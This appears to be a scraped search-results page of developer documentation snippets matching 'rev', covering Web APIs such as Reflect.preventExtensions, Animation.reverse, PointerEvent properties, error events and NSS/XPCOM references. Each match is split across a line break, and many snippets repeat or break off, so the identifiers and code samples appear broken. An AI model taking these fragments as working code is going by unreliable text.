revent extensions. exceptions a typeerror, if target is not an object. description the reflect.p
reventextensions() method allows you to p
revent new properties from ever being added to an object (i.e., p
revents future extensions to the object). it is similar to object.p
reventextensions(). examples using reflect.p
reventextensions() see also object.p
reventextensions(). // objects are extensible by default. let empty = {} reflect.isextensible(empty) // === true // ...but that can be changed. ...
...ions() method allows you to p
revent new properties from ever being added to an object (i.e., p
revents future extensions to the object). it is similar to object.p
reventextensions(). examples using reflect.p
reventextensions() see also object.p
reventextensions(). // objects are extensible by default. let empty = {} reflect.isextensible(empty) // === true // ...but that can be changed. reflect.p
reventextensions(empty) reflect.isextensible(empty) // === false difference from object.p
reventextensions() if the target argument to this method is not an object (a primitive), then it will cause a typeerror. with object.p
reventextensions(), a non-object target will be coerced to an object. ...
...empty = {} reflect.isextensible(empty) // === true // ...but that can be changed. reflect.p
reventextensions(empty) reflect.isextensible(empty) // === false difference from object.p
reventextensions() if the target argument to this method is not an object (a primitive), then it will cause a typeerror. with object.p
reventextensions(), a non-object target will be coerced to an object. reflect.p
reventextensions(1) // typeerror: 1 is not an object object.p
reventextensions(1) // 1 specifications specification ecmascript (ecma-262)the definition of 'reflect.p
reventextensions' in that specification. ...
Animation.reverse() - Web APIs
the animation.
reverse() method of the animation interface
reverses the playback direction, meaning the animation ends at its beginning. if called on an unplayed animation, the whole animation is played backwards. if called on a paused animation, the animation will continue in
reverse. syntax animation.
reverse(); parameters none. return value undefined example in the growing/shrinking alice game example, clicking or tapping the bottle causes alice's growing animation (alicechange) to play backwards, causing her to get smaller. ...
...verse. syntax animation.
reverse(); parameters none. return value undefined example in the growing/shrinking alice game example, clicking or tapping the bottle causes alice's growing animation (alicechange) to play backwards, causing her to get smaller. ...
...bottle causes alice's growing animation (alicechange) to play backwards, causing her to get smaller. it is done by setting alicechange's animation.playbackrate to -1 like so: var shrinkalice = function() { // play alice's animation in
reverse alicechange.playbackrate = -1; alicechange.play(); // play the bottle's animation drinking.play() } but it could also have been done by calling
reverse() on alicechange like so: var shrinkalice = function() { // play alice's animation in
reverse alicechange.
reverse(); // play the bottle's animation drinking.play() } specifications specification status comment web animationsthe definition of '
reverse()' in that specification. working draft ...
MediaRecorderErrorEvent.error - Web APIs
the error's name property's value may be any exception that makes sense during the handling of media recording, including these specifically identified by the specification. ...
...the error's name property's value may be any exception that makes sense during the handling of media recording, including these specifically identified by the specification. ...
... working draft initial specification. ...
Node.previousSibling - Web APIs
the node.p
revioussibling read-only property returns the node immediately preceding the specified one in its parent's childnodes list, or null if the specified node is the first in that list. syntax p
reviousnode = node.p
revioussibling; example <img id="b0"> <img id="b1"> <img id="b2"> console.log(document.getelementbyid("b1").p
revioussibling); // <img id="b0"> console.log(document.getelementbyid("b2").p
revioussibling.id); // "b1" notes gecko-based browsers insert text nodes into a document to represent whitespace in the source markup. therefore a node obtained, for example, using node.firstchild or node.p
revioussibling may refer to a whitespace text node rather than the actual element the author intended to get. see whitespace in the dom and w3c dom 3 faq: why are some t...
... node.p
revioussibling may refer to a whitespace text node rather than the actual element the author intended to get. see whitespace in the dom and w3c dom 3 faq: why are some text nodes empty? for more information. to navigate the opposite way through the child nodes list use node.nextsibling. specifications specification status comment domthe definition of 'node.p
revioussibling' in that specification. living standard no change document object model (dom) level 3 core specificationthe definition of 'node.p
revioussibling' in that specification. obsolete no change document object model (dom) level 2 core specificationthe definition of 'node.p
revioussibling' in that specification. obsolete no change document object mod...
... no change document object model (dom) level 3 core specificationthe definition of 'node.p
revioussibling' in that specification. obsolete no change document object model (dom) level 2 core specificationthe definition of 'node.p
revioussibling' in that specification. obsolete no change document object model (dom) level 1 specificationthe definition of 'node.p
revioussibling' in that specification. obsolete initial definition ...
PointerEvent.height - Web APIs
specifications specification status comment pointer events – level 2the definition of 'height' in that specification. ...
... specifications specification status comment pointer events – level 2the definition of 'height' in that specification. recommendation non-stable version. ...
...er device (for example a finger), for a given pointer, each event may produce a different value. if the input hardware cannot report the contact geometry to the browser, the height defaults to 1. syntax var contactheight = pointe
revent.height; return value contactheight the height of the event's contact area (in css pixels). example an example of this property is included in the pointe
revent.width example. specifications specification status comment pointer events – level 2the definition of 'height' in that specification. recommendation non-stable version. pointer eventsthe definition of 'height' in that specification. obsolete initial definition. ...
RTCIdentityErrorEvent - Web APIs
the rtcidentityerro
revent interface represents an error associated with the identity provider (idp). this is usually for an rtcpeerconnection. two events are sent with this type: idpassertionerror and idpvalidationerror. firefox implements this interface under the following name: rtcpeerconnectionidentityerro
revent. it is likely that it will correct this name when it will unprefix rtcpeerconnection, once spec and implementation will have been stabilized. properties a rtcidentityerro
revent being an event, this event also implements these properties. rtcidentityerro
revent.idp read only is a domstring describing the domain name of the identity provider (idp) generating the error response. ...
...t is likely that it will correct this name when it will unprefix rtcpeerconnection, once spec and implementation will have been stabilized. properties a rtcidentityerro
revent being an event, this event also implements these properties. rtcidentityerro
revent.idp read only is a domstring describing the domain name of the identity provider (idp) generating the error response. rtcidentityerro
revent.loginurl read only is a domstring giving the url where the user can complete the authentication. it can be null and is provided by the identity provider (idp). ...
...n event, this event also implements these properties. rtcidentityerro
revent.idp read only is a domstring describing the domain name of the identity provider (idp) generating the error response. rtcidentityerro
revent.loginurl read only is a domstring giving the url where the user can complete the authentication. it can be null and is provided by the identity provider (idp). rtcidentityerro
revent.protocol read only is a domstring describing the idp protocol in use. methods a rtcidentityerro
revent being an event, this event also implements these properties. there is no specific rtcidentityerro
revent method. examples pc.onidpassertionerror = function( ev ) { alert("the idp named '" + ev.idp + ...
RTCPeerConnectionIceErrorEvent - Web APIs
the rtcpeerconnectioniceerro
revent interface—based upon the event interface—provides details pertaining to an ice error announced by sending an icecandidateerror event to the rtcpeerconnection object. constructor rtcpeerconnectioniceerro
revent() creates and returns a new rtcpeerconnectioniceerro
revent object, with its type and other properties initialized as specified in the parameters. you will not normally create an object of this type yourself. ...
...ning to an ice error announced by sending an icecandidateerror event to the rtcpeerconnection object. constructor rtcpeerconnectioniceerro
revent() creates and returns a new rtcpeerconnectioniceerro
revent object, with its type and other properties initialized as specified in the parameters. you will not normally create an object of this type yourself. properties the rtcpeerconnectioniceerro
revent interface includes the properties found on the event interface, as well as the following properties: address read only a domstring providing the local ip address used to communicate with the stun or turn server being used to negotiate the connection, or null if the local ip address has not yet been exposed as part of a local ice candidate. errorcode read only an unsigned integer value ...
...or. port read only an unsigned integer value giving the port number over which communication with the stun or turn server is taking place, using the ip address given in address. null if the connection hasn't been established (that is, if address is null). url read only a domstring indicating the url of the stun or turn server with which the error occurred. methods rtcpeerconnectioniceerro
revent has no methods other than any provided by the parent interface, event. examples tbd specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnectioniceerro
revent' in that specification. candidate recommendation initial definition. ...
SpeechSynthesisErrorEvent - Web APIs
the speechsynthesiserro
revent interface of the web speech api contains information about any errors that occur while processing speechsynthesisutterance objects in the speech service. properties speechsynthesiserro
revent extends the speechsynthesisevent interface, which inherits properties from its parent interface, event. speechsynthesiserro
revent.error read only returns an error code indicating what has gone wrong with a speech synthesis attempt. methods speechsynthesiserro
revent extends the speechsynthesisevent interface, which inherits methods from its parent interface, event. examples var synth = window.speechsynthesis; var inputform = document.queryselector('form'); var inputtxt = document.queryselector('input'); var voiceselect = document.queryselector('select'); var v...
...siserro
revent extends the speechsynthesisevent interface, which inherits methods from its parent interface, event. examples var synth = window.speechsynthesis; var inputform = document.queryselector('form'); var inputtxt = document.queryselector('input'); var voiceselect = document.queryselector('select'); var voices = synth.getvoices(); ... ...
... draft ...
getPreviousItem - Archive of obsolete content
« xul reference home getp
reviousitem( startitem, delta ) return type: element this method returns the item a given distance (delta) before the specified startitem, or null if no such item exists. ...
... « xul reference home getp
reviousitem( startitem, delta ) return type: element this method returns the item a given distance (delta) before the specified startitem, or null if no such item exists. ...
CredentialsContainer.preventSilentAccess() - Web APIs
for example, you might call this, after a user signs out of a website to ensure that he/she isn't automatically signed in on the next site visit. mediation varies by origin, and is an added check point of browser stored credentials, informing a user of an account login status. this method is typically called after a user signs out of a website, ensuring this user's login information is not automatically passed on the next site visit. earlier versions of the spec called this method requireusermediation(). see browser compatibility for support details. ...
...f browser stored credentials, informing a user of an account login status. this method is typically called after a user signs out of a website, ensuring this user's login information is not automatically passed on the next site visit. earlier versions of the spec called this method requireusermediation(). see browser compatibility for support details. syntax var promise = credentialscontainer.p
reventsilentaccess() parameters none. returns an empty promise. specifications specification status comment credential management level 1the definition of 'p
reventsilentaccess()' in that specification. working draft initial definition. ...
PointerEvent.isPrimary - Web APIs
it returns true if the pointer that caused the event to be fired is the primary device and returns false otherwise. in a multi-pointer scenario (such as a touch screen that supports more than one touch point), this property is used to identify a master pointer among the set of active pointers for each pointer type. only a primary pointer will produce compatibility mouse events. authors who desire only single-pointer interaction can achieve that by ignoring non-primary pointers. a pointer is considered primary if the pointer represents a mouse device. ...
...ointers (one for each pointertype) are considered primary. for example, a touch contact and a mouse cursor moved simultaneously will produce pointers that are both considered primary. if there are multiple primary pointers, these pointers will all produce compatibility mouse events (see pointer_events for more information about pointer, mouse and touch interaction). syntax var isprimary = pointe
revent.isprimary; return value isprimary returns true if the pointer for this event is the primary pointer and returns false otherwise. example this example illustrates using the value of isprimary to call the appropriate processing function. target.addeventlistener('pointerdown', function(event) { if (event.isprimary) process_primary_pointer(event); else process_secondary_p...
PointerEvent.pointerId - Web APIs
the pointerid read-only property of the pointe
revent interface is an identifier assigned to a given pointer event. the identifier is unique, being different from the identifiers of all other active pointer events. since the value may be randomly generated, it is not guaranteed to convey any particular meaning. syntax var id = pointe
revent.pointerid; return value id the pointer event's unique identifier number. example the following code snippet compares a p
reviously saved pointerid with the one of the pointerdown event that was just fired. ...
...pointer events. since the value may be randomly generated, it is not guaranteed to convey any particular meaning. syntax var id = pointe
revent.pointerid; return value id the pointer event's unique identifier number. example the following code snippet compares a p
reviously saved pointerid with the one of the pointerdown event that was just fired. let id; // let's assume that this is a p
reviously saved pointerid target.addeventlistener('pointerdown', function(event) { // compare p
revious event's id that was cached // to current event's id and handle accordingly if (id === event.pointerid) process_event(event); }, false); specifications specification status comment pointer events – level 2the definition of 'pointerid' in that specification. reco...
PointerEvent.pointerType - Web APIs
the supported values are the following strings: "mouse" the event was generated by a mouse device. "pen" the event was generated by a pen or stylus device. "touch" the event was generated by a touch, such as a finger. if the device type cannot be detected by the browser, the value can be an empty string (""). if the browser supports pointer device types other than those listed above, the value should be vendor-prefixed to avoid conflicting names for different types of devices. ...
...finition of 'pointertype' in that specification. obsolete initial definition. pointer events – level 2the definition of 'pointertype' in that specification. recommendation non-stable version. css object model (cssom) view modulethe definition of 'mouseevent' in that specification. working draft redefines mouseevent from long to double. this means that a pointe
revent whose pointertype is mouse will be a double. ...
PointerEvent.tiltX - Web APIs
the range of values is -90 to 90, inclusive, where a positive value is a tilt to the right. for devices that do not support this property, the value is 0. example this example illustrates simple accessing of the tiltx and tilty properties. ...
...the range of values is -90 to 90, inclusive, where a positive value is a tilt to the right. for devices that do not support this property, the value is 0. example this example illustrates simple accessing of the tiltx and tilty properties. ...
PointerEvent.tiltY - Web APIs
the range of values is -90 to 90, inclusive, where a positive value is a tilt towards the user. for devices that do not support this property, the value is 0. example this example illustrates simple accessing of the tiltx and tilty properties. ...
...the range of values is -90 to 90, inclusive, where a positive value is a tilt towards the user. for devices that do not support this property, the value is 0. example this example illustrates simple accessing of the tiltx and tilty properties. ...
RTCErrorEvent.error - Web APIs
since rtcerror is based upon domexception, it includes those properties. additional properties defined by rtcerror are: errordetail read only a domstring specifying the webrtc-specific error code identifying the type of error that occurred. receivedalert read only an unsigned long integer value indicating the fatal dtls error which was received from the network. only valid if the errordetail string is dtls-failure. if null, no dtls error was received. ...
...e example uses addeventlistener() to add the handler for error events. you can also use the rtcdatachannel object's onerror event handler property, like this: datachannel.onerror = (event) => { let error = event.error; /* and so forth */ }; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcerro
revent.error' in that specification. candidate recommendation initial definition. ...
RTCIdentityErrorEvent.idp - Web APIs
it is likely that it will correct this name when it will unprefix rtcpeerconnection, once spec and implementation will have been stabilized. ...
...it is likely that it will correct this name when it will unprefix rtcpeerconnection, once spec and implementation will have been stabilized. ...
RTCIdentityErrorEvent.loginUrl - Web APIs
it is likely that it will correct this name when it will unprefix rtcpeerconnection, once spec and implementation will have been stabilized. ...
...it is likely that it will correct this name when it will unprefix rtcpeerconnection, once spec and implementation will have been stabilized. ...
RTCIdentityErrorEvent.protocol - Web APIs
it is likely that it will correct this name when it will unprefix rtcpeerconnection, once spec and implementation will have been stabilized. ...
...it is likely that it will correct this name when it will unprefix rtcpeerconnection, once spec and implementation will have been stabilized. ...
RTCPeerConnectionIceErrorEvent.address - Web APIs
this address identifies the network interface on the local device which is being used to attempt to establish the connection to the remote peer. this can be useful on multi-homed systems—devices with more than one network connection—to determine which network interface is being used. ...
... candidate recommendation initial definition. ...
SensorErrorEvent.error - Web APIs
specifications specification status comment generic sensor apithe definition of 'error' in that specification. ...
... specifications specification status comment generic sensor apithe definition of 'error' in that specification. ...
SpeechSynthesisErrorEvent.error - Web APIs
syntax myerror = event.error; value a domstring containing an error code. possible codes are: canceled a speechsynthesis.cancel method call caused the speechsynthesisutterance to be removed from the queue before it had begun being spoken. interrupted a speechsynthesis.cancel method call caused the speechsynthesisutterance to be interrupted after it had begun being spoken and before it completed. ...
...ynthesisutterance.rate, speechsynthesisutterance.pitch or speechsynthesisutterance.volume property was not valid. examples var synth = window.speechsynthesis; var inputform = document.queryselector('form'); var inputtxt = document.queryselector('input'); var voiceselect = document.queryselector('select'); var voices = synth.getvoices(); ... ...
TreeWalker.previousNode() - Web APIs
the treewalker.p
reviousnode() method moves the current node to the p
revious visible node in the document order, and returns the found node. it also moves the current node to this one. if no such node exists,or if it is before that the root node defined at the object construction, returns null and the current node is not changed. syntax node = treewalker.p
reviousnode(); example var treewalker = document.createtreewalker( document.body, nodefilter.show_element, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false ); var node = treewalker.p
reviousnode(); // returns null as there is no parent specifications specification status comment domthe definition of 'treewalker.p
reviousnode' in that specification. living standard ...
...(); // returns null as there is no parent specifications specification status comment domthe definition of 'treewalker.p
reviousnode' in that specification. living standard no change from document object model (dom) level 2 traversal and range specification document object model (dom) level 2 traversal and range specificationthe definition of 'treewalker.p
reviousnode' in that specification. obsolete initial definition. ...
TreeWalker.previousSibling() - Web APIs
the treewalker.p
revioussibling() method moves the current node to its p
revious sibling, if any, and returns the found sibling. if there is no such node, return null and the current node is not changed. syntax node = treewalker.p
revioussibling(); example var treewalker = document.createtreewalker( document.body, nodefilter.show_element, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false ); var node = treewalker.p
revioussibling(); // returns null as there is no p
revious sibiling specifications specification status comment domthe definition of 'treewalker.p
revioussibling' in that specification. living standard no change from document object model (dom) level 2 traversal and range specification document objec...
... null as there is no p
revious sibiling specifications specification status comment domthe definition of 'treewalker.p
revioussibling' in that specification. living standard no change from document object model (dom) level 2 traversal and range specification document object model (dom) level 2 traversal and range specificationthe definition of 'treewalker.p
revioussibling' in that specification. obsolete initial definition. ...
URL.revokeObjectURL() - Web APIs
the url.
revokeobjecturl() static method releases an existing object url which was p
reviously created by calling url.createobjecturl(). call this method when you've finished using an object url to let the browser know not to keep the reference to the file any longer. note: this feature is available in web workers. note: this method is not available from service workers, due to issues with the blob interface's life cycle and the potential for leaks. syntax url.
revokeobjecturl(objecturl) parameters objecturl a domstring representing a object url that was p
reviously created by calling createobjecturl(). examples see using object urls to display images. ...
...s, due to issues with the blob interface's life cycle and the potential for leaks. syntax url.
revokeobjecturl(objecturl) parameters objecturl a domstring representing a object url that was p
reviously created by calling createobjecturl(). examples see using object urls to display images. specification specification status comment file apithe definition of '
revokeobjecturl()' in that specification. working draft initial definition ...
TypedArray.prototype.reverse() - JavaScript
the
reverse() method
reverses a typed array in place. the first typed array element becomes the last and the last becomes the first. this method has the same algorithm as array.prototype.
reverse(). typedarray is one of the typed array types here. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax typedarray.
reverse(); return value the
reversed array. ...
... algorithm as array.prototype.
reverse(). typedarray is one of the typed array types here. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax typedarray.
reverse(); return value the
reversed array. examples using
reverse var uint8 = new uint8array([1, 2, 3]); uint8.
reverse(); console.log(uint8); // uint8array [3, 2, 1] specifications specification ecmascript (ecma-262)the definition of 'typedarray.prototype.
reverse' in that specification. ...
Tamarin-central rev 703:2cee46be9ce0 - Archive of obsolete content
the announcement sent to tamarin-devel can be read here. testing summary acceptance tests have passed on the following supported platforms: * windows, 32 & 64 bit * mac ox x ppc & intel, 32 bit * linux, 32 bit * windows mobile arm version asc-4200 of the actionscript compiler was used for all tests. performance testsuite time metric the following is a comparison of the current tamarin-central (tc-703) versus the prior build (tc-700) as well as current against the vm in flash player 10. the key takeaway is that the interpreter is much improved. ...
ontextrevert - Archive of obsolete content
« xul reference home ontext
revert obsolete since gecko 1.9.1 type: script code note: applies to: thunderbird, seamonkey this event handler is called when the user presses escape to
revert the textbox to its original uncompleted value. as of gecko 1.9.1, this attribute is superseded by the ontext
reverted attribute. ...
Styling Abbreviations and Acronyms - Archive of obsolete content
summary: the html elements abbr and acronym are useful accessibility aids, but their styling can come as a surprise to authors. see how you can take control of their presentation without sacrificing the benefits these elements provide. many authors are beginning to use the html elements abbr (abb
reviation) and acronym in their web pages. this is to be encouraged, and according to guideline 4 of the web content accessibility guidelines, both elements should be given a title attribute to improve "readability of the web for all people, including those with learning disabilities, cognitive disabilities, or people who are deaf." the problem authors have discovered that any abbr or acronym that has a title attribute is rendered with a dotted underline, per the following rule in resou...
PL_CompareValues
compares two void * values numerically. syntax #include <plhash.h> printn pl_compa
revalues(const void *v1, const void *v2); description pl_compa
revalues compares the two void * values v1 and v2 numerically, i.e., it returns the value of the expression v1 == v2. pl_compa
revalues can be used as the comparator function for integer or pointer-valued key or entry value. ...
PR_PREV_LINK
returns the preceding element in a list. syntax #include <prclist.h> prclist *pr_p
rev_link (prclist *elemp); parameter elemp a pointer to the element. returns a pointer to a list element. description pr_p
rev_link returns a pointer to the element preceding the specified element. it can be used to traverse a list. the preceding element is not removed from the list. ...
PreviousSibling
« nsiaccessible page summary returns p
revious node in accessible tree. attribute nsiaccessible p
revioussibling; exceptions thrown ns_error_failure indicates that the accessible is unattached from the accessible tree. see also nsiaccessible.parent nsiaccessible.nextsibling nsiaccessible.firstchild nsiaccessible.lastchild nsiaccessible.children nsiaccessible.childcount nsiaccessible.getchildat() ...
nsIDataSignatureVerifier
1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method overview boolean verifydata(in acstring adata, in acstring asignature, in acstring apublickey); methods verifydata() verifies that the data matches the data that was used to generate the signature. boolean verifydata( in acstring adata, in acstring asignature, in acstring apublickey ); parameters adata the data to be tested. asignature the signature of the data, base64 encoded. ...
MediaRecorderErrorEvent - Web APIs
the mediarecordererro
revent interface represents errors returned by the mediastream recording api. it is an event object that encapsulates a reference to a domexception describing the error that occurred. properties inherits properties from its parent interface, event. error read only a domexception containing information about the error that occurred. read only. constructor mediastreamrecorde
revent() creates and returns a new mediarecordererro
revent event object with the given parameters. methods inherits methods from its parent interface, event. specifications specification status comment mediastream recordingthe definition of 'mediarecordererro
revent' in that specification. working draft initial definition. ...
PointerEvent.getCoalescedEvents() - Web APIs
specifications specification status comment pointer events – level 3the definition of 'getcoalescedevents()' in that specification. editor's draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
PointerEvent.pressure - Web APIs
for hardware that does not support pressure, such as a mouse, the value is 0.5 when the pointer is active buttons state and 0 otherwise. example in this snippet, when a pointerdown event is fired, different functions are called depending on the value of the event's pressure property. ...
PointerEvent.tangentialPressure - Web APIs
note that some hardware may only support positive values in the range 0 to 1. for hardware that does not support tangential pressure, the value will be 0. example in this snippet, when a pointerdown event is fired, different functions are called depending on the value of the event's tangentialpressure property. ...
PointerEvent.twist - Web APIs
the value is in the range 0 to 359, inclusive. for devices that do not report twist, the value is 0. example when a pointerdown event is fired, different functions are called depending on the value of the event's twist property. ...
PointerEvent.width - Web APIs
the width read-only property of the pointe
revent interface represents the width of the pointer's contact geometry along the x-axis, measured in css pixels. depending on the source of the pointer device (such as a finger), for a given pointer, each event may produce a different value. if the input hardware cannot report the contact geometry to the browser, the width defaults to 1. syntax var contactwidth = pointe
revent.width; return value contactwidth the width of the event's contact area (in css pixels). example this example illustrates using the pointe
revent interface's width and height properties to calculate the contact area. target.addeventlistener("pointerdown", function(ev) { // calculate the contact area var area = ev.width * ev.height; }, false); specifications ...
SensorErrorEvent - Web APIs
the sensorerro
revent interface of the sensor apis provides information about errors thrown by a sensor or related interface. constructor sensorerro
revent.sensorerro
revent() creates a new sensorerro
revent object. properties sensorerro
revent.error read only returns the domexception object passed in the event's contructor. specifications specification status comment generic sensor apithe definition of 'sensorerro
revent' in that specification. candidate recommendation initial definition. ...
SpeechRecognitionErrorEvent.error - Web APIs
syntax var myerror = event.error; value a domstring naming the type of error. the possible error types are: no-speech no speech was detected. aborted speech input was aborted in some manner, perhaps by some user-agent-specific behavior like a button the user can press to cancel speech input. audio-capture audio capture failed. network network communication required for completing the recognition failed. not-allowed the user agent disallowed any speech input from occurring for reasons of security, privacy or user preference. ...
SpeechRecognitionErrorEvent.message - Web APIs
syntax var myerrormsg = event.message; value a domstring containing more details about the error that was raised. note that the spec does not define the exact wording of these messages — this is up to the implementors to decide upon. ...
SpeechRecognitionErrorEvent - Web APIs
the speechrecognitionerro
revent interface of the web speech api represents error messages from the recognition service. properties speechrecognitionerro
revent also inherits properties from its parent interface, event. speechrecognitionerro
revent.error read only returns the type of error raised. speechrecognitionerro
revent.message read only returns a message describing the error in more detail. examples var recognition = new speechrecognition(); recognition.onerror = function(event) { console.log('speech recognition error detected: ' + event.error); console.log('additional information: ' + event.message); } specifications specification status comment web speech apithe definition of 'speechrecognitionerro
revent' in that specification. draft ...
Index - Web APIs
animations, web animations api the read-only animation.ready property of the web animations api returns a promise which resolves when the animation is ready to play. a new promise is created every time the animation enters the "pending" play state as well as when the animation is canceled, since in both of those scenarios, the animation is ready to be started again. 78 animation.
reverse() api, animation, interface, method, reference, web animations,
reverse, waapi, web animations api the animation.
reverse() method of the animation interface
reverses the playback direction, meaning the animation ends at its beginning. if called on an unplayed animation, the whole animation is played backwards. if called on a paused animation, the animation will continue in
reverse. ...
... audio api, outputlatency the outputlatency read-only property of the audiocontext interface provides an estimation of the output latency of the current audio context. 134 audiocontext.resume() api, audio, audiocontext, method, reference, web audio api, resume the resume() method of the audiocontext interface resumes the progression of time in an audio context that has p
reviously been suspended. 135 audiocontext.suspend() api, audio, audiocontext, method, reference, web audio api, suspend the suspend() method of the audiocontext interface suspends the progression of time in the audio context, temporarily halting audio hardware access and reducing cpu/battery usage in the process — this is useful if you want an application to power down the aud...
...view the battery status api, more often referred to as the battery api, provides information about the system's battery charge level and lets you be notified by events that are sent when the battery level or charging status change. this can be used to adjust your app's resource usage to reduce battery drain when the battery is low, or to save changes before the battery runs out in order to p
revent data loss. 264 batterymanager api, battery api, device api, interface, obsolete, reference, référence(2) the batterymanager interface provides ways to get information about the system's battery charge level. 265 batterymanager.charging api, battery api, needsmarkupwork, property, reference, référence(2) a boolean value indicating whether or not the...
...And 154 more matches
Index - Archive of obsolete content
e support in old browsers code snippets no summary! 221 xpath no summary! 222 getattributens code snippets no summary! 223 common pitfalls add-ons, developing mozilla, extensions there are some common pitfalls that should be avoided when writing either extensions or core mozilla code. these are the sort of things that super-
review should be catching for code that goes into the tree; avoiding these to start with saves super-
reviewers a lot of effort. 224 communication between html and your extension add-ons, extensions, web development see also interaction between privileged and non-privileged pages. 225 creating custom firefox extensions with the mozilla build system add-ons, build do...
...ions, json, xmlhttprequest a common practice found in many extensions is using xmlhttprequest (or some other mechanism) to download javascript or json (they are different) from a remote website. once the content has been downloaded, the extension authors proceed to use eval() to decode the string content into javascript objects. this practice is dangerous and will not, in fact, pass an amo
review. so the extension will not be allowed to move out of the amo sandbox. 233 enhanced extension installation add-ons, extensions no summary! 234 extension etiquette add-ons, extensions, guide no summary! 235 extension library no summary! 236 extension packaging add-ons, extensions, guide, toolkit api no summary! ...
...and commands add-ons, codingscripting, dom, glossary, guide, javascript, xul, events no summary! 268 adding toolbars and toolbar buttons toolbars, xul adding new toolbars to firefox is easy, but adding them the wrong way is very easy as well. 269 adding menus and submenus add-ons, codingscripting, macs, xul, apple the hello world example in the p
revious sections shows the two most common ways to add menus. in this section we'll look into more specialized menus and what you can do with them. 270 adding sidebars no summary! 271 adding windows and dialogs no summary! 272 appendix a: add-on performance add-ons, extensions, performance no summary! 273 appendix b: install ...
...And 39 more matches
JavaScript Daemons Management - Archive of obsolete content
rt for init and onstart functions (declarable during the instantiation of the daemon). so the minidaemon framework will remain the recommended way for simple animations, because daemon without its collection of methods is essentially a clone of it. /*\ |*| |*| ******************************* |*| * daemon.js * |*| ******************************* |*| |*| ver. 1.0
rev. 2 |*| |*| daemon.js - a javascript highly scalable daemons manager. |*| |*| https://developer.mozilla.org/docs/javascript/timers/daemons |*| https://developer.mozilla.org/user:fusionchess |*| |*| this framework is released under the gnu public license, version 3 or later. |*| http://www.gnu.org/licenses/gpl-3.0.html |*| \*/ "use strict"; /**************************** * the daemon...
...k.prototype; /* make love with the gc :-) */ daemon.blank.prototype = /* important! ...
...you could safely remove all or some of them, * depending on your nee...
...And 28 more matches
Index
er details; for example, it contains a signature by a third party that expresses trust in the ownership relationship for the certificate. the trust assigned by the third party might be restricted to certain uses, which are listed in certificate extensions that are contained in the certificate. many (if not most) of the operations performed by nss involve the use of x.509 certificates (often abb
reviated as “cert”, unfortunately making it easy to confuse with the term “computer emergency response team“). when checking whether a certificate is trusted or not, it's necessary to find a relevant trust anchor (root certificate) that represents the signing capability of a trusted third party, usually called a certificate authority (ca). a trust anchor is just another x.509 certificate t...
...nss to free the associated resources. when working with handles to private keys it's usually difficult (and undesired) that an application gets access to the raw key data; therefore it may be difficult to extract such data from nss. the usual minimum requirement is that private keys must be wrapped using a protective layer (such as password-based encryption). the intention is to make it easier to
review code for security. the less code that has access to raw secret keys, the less code that must be
reviewed. nss has only limited functionality to look up raw keys. the preferred approach is to use certificates, and to look up certificates by properties such as the contained subject name (information that describes the owner of the certificate). for example, while nss supports random calculati...
... trust anchors contained in the ckbi module are usually self signed, which is defined as having identical subject name and issuer name fields. if a self-signed certificate is marked as explicitly trusted, nss will sk...
...And 27 more matches
sslfnc.html
sl v2. factory setting is on. if you turn this option off, an attempt to establish a connection with a peer that only understands ssl v2 will fail. ssl_enable_tls is a peer of the ssl_enable_ssl2 and ssl_enable_ssl3 options. the ietf standard transport layer security (tls) protocol, rfc 2246, is a modified version of ssl3. it uses the ssl version number 3.1, appearing to be a "minor"
revision of ssl 3.0. nss 2.8 supports tls in addition to ssl2 and ssl3. you can think of it as "ssl_enable_ssl3.1". see the description below for more information about this option. ssl_v2_compatible_hello tells the ssl library whether or not to send ssl3 client hello messages in ssl2-compatible format. if set to pr_true, it will; otherwise, it will not. factory setting is on (pr_true). ...
... is functioning as a client or server. for a complete discussion of the use of ssl_handshake_as_client and ssl_handshake_as_server with ssl_enabledefault and ssl_enable, see ssl_optionset. the ssl protocol is defined to be able to handle simultaneous two-way communication between applications at each end of an ssl connection. two-way simultaneous communication is also known as "full duplex", abb
reviated fdx. however, most application protocols that use ssl are not two-way simultaneous, but two-way alternate, also known as "half dupled"; that is, each end takes turns sending, and each end is either sending, or receiving, but not both at the same time. for an application to do full duplex, it would typically have two threads sharing the socket; one doing all the reading and the other doin...
...eterror to obtain error code. description ssl_cipherprefgetdefault gets the application default preference for the specified ssl2, ssl3, or tls cipher a cipher suite is used only if the policy allows it and the preference for it is set to pr_true. ssl_cipherprefsetdefault enables or disables ssl2 or ssl3 cipher suites (subject to which cipher suites are permitted or disallowed by p
revious calls to one or more of the ssl export policy functions). this function must be called once for each cipher you want to enable or disable by default. syntax #include "ssl.h" secstatus ssl_cipherprefsetdefault(print32 cipher, prbool enabled); parameters this function has the following parameters: cipher one of the following values for ssl2 (factory sett...
...And 20 more matches
Index
of the cycle collector introduced into xpcom for firefox 3, including a description of the steps involved in modifying an existing c++ class to participate in xpcom cycle collection. if you have a class that you think is involved in a cyclical-ownership leak, this page is for you. 14 introduction to xpcom for the dom developing mozilla warning: this document has not yet been
reviewed by the dom gurus, it might contain some errors. 15 language bindings embedding, landing, mozilla, xpcom, xpcom:language bindings an xpcom language binding is a bridge between a particular language and xpcom to provide access to xpcom objects from that language, and to let modules written in that language be used as xpcom objects by all other languages for which there are...
...e(2), xpcom:language bindings, xpconnect components.utils.createobjectin creates a new javascript object in the scope of the specified object's compartment. 34 components.utils.evalinsandbox add-ons, developing mozilla, extensions, javascript, xpcom:language bindings, xpconnect the evalinsandbox() function enables you to evaluate javascript code inside a sandbox you've p
reviously created using the components.utils.sandbox constructor. 35 components.utils.evalinwindow this function enables code running in a more-privileged javascript context to evaluate a string in a less-privileged javascript context. the result is structured cloned back to the original context, unless it is native (for example, if it returns a dom node, this is not structured ...
... could cause them to behave in unexpected ways. for example, privileged code using an xray to a dom object sees only the original, native version of the dom object. any expando properties are not visible, and if any native properties have been redefined, this has no effect. 43 components.utils.makeobjectpropsnormal add-ons, developing mozilla, extensions, javascript, needstechnical
